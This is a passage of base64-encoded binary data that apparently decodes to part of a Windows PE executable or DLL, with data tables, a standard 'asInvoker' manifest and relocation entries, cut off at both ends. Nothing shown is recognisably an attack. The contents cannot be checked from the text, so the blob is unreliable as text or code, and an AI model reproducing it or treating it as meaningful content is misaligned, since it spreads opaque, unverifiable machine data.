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sM64Tr+OjA7WDtwO7Y73Tv3Ozs8azyHPI48lzycPLo83TzuPP08CT1YPX49mj2hPao9rz3PPfM9BD4TPh8+az5wPrs+zj7kPus+JT80Pzo/bj93P5A/lj+jP68/tT/SP+k/AFABACwBAAAAMA0wIjA4MFcwXTCKMJkwsDDHMOIwBDEmMUcxaTGAMbExzTHiMRcyOTJQMnMylzKgMsIyADMcMzQzPDNBM1IzeDOcM6EzqjPWM90z5jP4M/8zBDQNNBI0HzRQNGM0bDRxNHw0nzSpNLg0wzTmNBI1MTVwNXg1pjXHNd819zUTNiM2LDZANmA2cjaFNpI2pjbHNtM24Tb9Nh43RDdZN243ijfBN8k34Tc9OIY4lTixOOs4+jgWOS05PzlJOSs6MjpPOsw65DryOvk6DjsdO6Y7szu8O/A7ETwkPEA8RzxyPHw88zz5PP88BT0LPRE9MT03PT09Qz1JPVQ9Zz16Pa492j31Pfo9DD4qPjU+aD6fPr8+zj7WPuA+ED9EP3c/qz/YPwAAAGABAPAAAABCMFIwcDCSMJ4wtDDKMOYw/DAgMTgxSTFcMXgxkzGkMbcxyjHdMQEyDjIbMl8yqTK0MtQy6DJfM2gzczN8Mys4MTg2OEU4SjhSOFg4XThkOGo4bzh2OHw4gTiIOI44kziaOKA4pTitOLI4vTjGOM842DjlOO44AzkJOQ85GTkjOTA5Njk8OUM5TTlUOVk5azlyOXc5iTmQOZU5qDmvOdg5Ejt8Owg8HjwoPDg8SDxVPHA8ljysPM085DzsPPI8CD0NPh0+Iz4xPkQ+Tj5nPoE+mT7QPtU++D7+PiA/Xj9kP3A/gD+bP7Y/AHABABQBAADDMNYw3jDuMBkxLTFjMZYxszG8MRQyVDK3Mr0y2TILMxgzHjMmMywzNDM6M0IzSDNZM2EzZzN+M4YzjDOUM5oz1DXjNQg2DzYoNj82XDZnNpc2oDa9NuU27jb0Ngg3PzdTN4g3ujfGN8035Df7NxM4IjgzOGg4gDjGONg4CDkPOTE5OTk/OYU5kTmkOcU5zznfOf45Djo/Ol86bDqTOr06zTr5Ohw7ODtQO3g7hTugO7w72Tv8OxQ8PDxJPGQ8gDytPMU87Tz6PBU9MT1GPVc9Xz2UPaQ9uT3lPQs+FT4dPkE+Tj5fPnM+kz7APsg+zj47P0c/UD9dP48/qz+0P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